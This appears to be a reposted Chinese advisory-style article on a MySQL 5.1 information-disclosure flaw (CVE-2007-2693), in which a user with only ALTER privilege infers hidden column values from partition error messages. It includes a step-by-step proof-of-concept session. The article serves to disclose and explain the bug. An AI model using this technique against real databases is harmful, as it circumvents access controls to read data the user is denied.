首頁  >  文章  >  資料庫  >  导致MySQL Alter Table函数信息泄露的原因

导致MySQL Alter Table函数信息泄露的原因

WBOY
WBOY原創
2016-06-07 16:13:281145瀏覽

以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧! 受影响系统: MySQLABMySQL5.1.x 5.1.18 不受影响系统: MySQLABMySQL5.1.18

以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧!

受影响系统:

<ol class="dp-xml"><li class="alt"><span><span>MySQL AB MySQL 5.1.x </span><span class="tag"><span> </span><span class="tag-name">5.1.18</span><span>  </span></span></span></li></ol>

不受影响系统:

<ol class="dp-xml"><li class="alt"><span><span>MySQL AB MySQL 5.1.18  </span></span></li></ol>

描述:BUGTRAQ ID: 24008

CVE(CAN) ID: CVE-2007-2693

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL Alter Table功能实现上存在漏洞,能够以合法帐号登录到数据库系统的攻击者可能利用此漏洞非授权获取数据表相关的敏感信息。

如果用户对表格拥有ALTER权限的话,则即使没有SELECT权限也可以通过ALTER TABLE语句获得某些有关表格的敏感信息。例如,用户可以发布以下命令:

<ol class="dp-xml"><li class="alt"><span><span>ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));  </span></span></li></ol>

MySQL会返回错误消息:

<ol class="dp-xml"><li class="alt"><span><span>"Table has no partition for value 18".  </span></span></li></ol>

这样该用户就可以知道存在column1 = 18的列。

测试方法:

以root用户发布:

<ol class="dp-xml">
<li class="alt"><span><span>mysql</span><span class="tag">></span><span> create table tu (s1 int);   </span></span></li>
<li><span>Query OK, 0 rows affected (0.00 sec)   </span></li>
<li class="alt">
<span>mysql</span><span class="tag">></span><span> insert into tu values (1);   </span>
</li>
<li><span>Query OK, 1 row affected (0.00 sec)   </span></li>
<li class="alt">
<span>mysql</span><span class="tag">></span><span> grant alter on tu to molly@localhost;   </span>
</li>
<li><span>Query OK, 0 rows affected (0.01 sec)   </span></li>
<li class="alt"><span> </span></li>
</ol>

以molly@localhost发布:

<ol class="dp-xml">
<li class="alt"><span><span>mysql</span><span class="tag">></span><span> select * from tu;   </span></span></li>
<li><span>ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table   </span></li>
<li class="alt"><span>'tu'   </span></li>
<li>
<span>mysql</span><span class="tag">></span><span> alter table tu partition by list (s1) (partition p1 values in (1));   </span>
</li>
<li class="alt"><span>Query OK, 1 row affected (0.05 sec)   </span></li>
<li><span>Records: 1 Duplicates: 0 Warnings: 0   </span></li>
<li class="alt">
<span>mysql</span><span class="tag">></span><span> alter table tu partition by list (s1) (partition p1 values in (2));   </span>
</li>
<li><span>ERROR 1513 (HY000): Table has no partition for value 1  </span></li>
</ol>

以上的相关内容就是对MySQL Alter Table函数信息泄露漏洞的介绍,望你能有所收获。


陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn